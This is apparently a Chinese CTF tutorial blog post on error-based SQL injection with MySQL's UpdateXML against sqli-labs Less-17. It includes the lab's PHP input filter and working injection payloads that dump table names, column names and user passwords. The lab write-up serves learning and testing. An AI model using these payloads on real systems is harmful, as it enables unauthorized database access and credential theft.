CTFweb篇-SQL注入(五)

updatexml

UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G

***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:
在这里插入图片描述

Less17

这题随便怎么对uname写入都是报错,只有看源码先学习个思路
发现对uname有过滤
在这里插入图片描述

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value); //将无输入换为0
		}
	return $value;
	}

只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
一句话就是,对输入的数据进行了转义。
然后我们这里就可以用updatexml进行注入
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database()),1)#&submit=Submit
这里就会对updatexml里面的SQL语句进行执行,并返回执行结果(包括错误结果提醒)
爆表
1'and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#' WHERE username='admin'
这里最前面只能是数字,不能是字母,报错原因我也没搞懂
在这里插入图片描述
爆列
可能是我的information_schema数据库有点问题,爆列会出现多于列,然后这个updatexml函数报错信息字数有限制,所以只能用limit一列一列的爆
uname=admin&passwd=1'and (updatexml(1,concat(0x5c,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x5c),1))#&submit=Submit
在这里插入图片描述
爆数据
uname=admin&passwd=15165'and (updatexml(1,(select concat(username,':',password) from users limit 1,1),1))#&submit=Submit
在这里插入图片描述
报错,大概就是指不能先select出同一表中的某些值,再update这个表(在同一语句中)。
怎么办呢?
就在中间select出来一个表
查用户名:
uname=admin&passwd=15165'and (updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)aa),0x7e),1))#&submit=Submit
在这里插入图片描述
查密码
uname=admin&passwd=15165'and (updatexml(1,concat(0x7e,(select password from (select password from users where username='Dumb' limit 0,1)aa),0x7e),1))#&submit=Submit
在这里插入图片描述

总结

有时候会对部分参数进行过滤,要学会在不同的参数中去进行插入,同时要结合SQL语句的用法进行选择合理的函数选择。这道题用extractvalue也可以成功爆破。
这节就是学习用extractvalue和updatexml来进行攻击。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值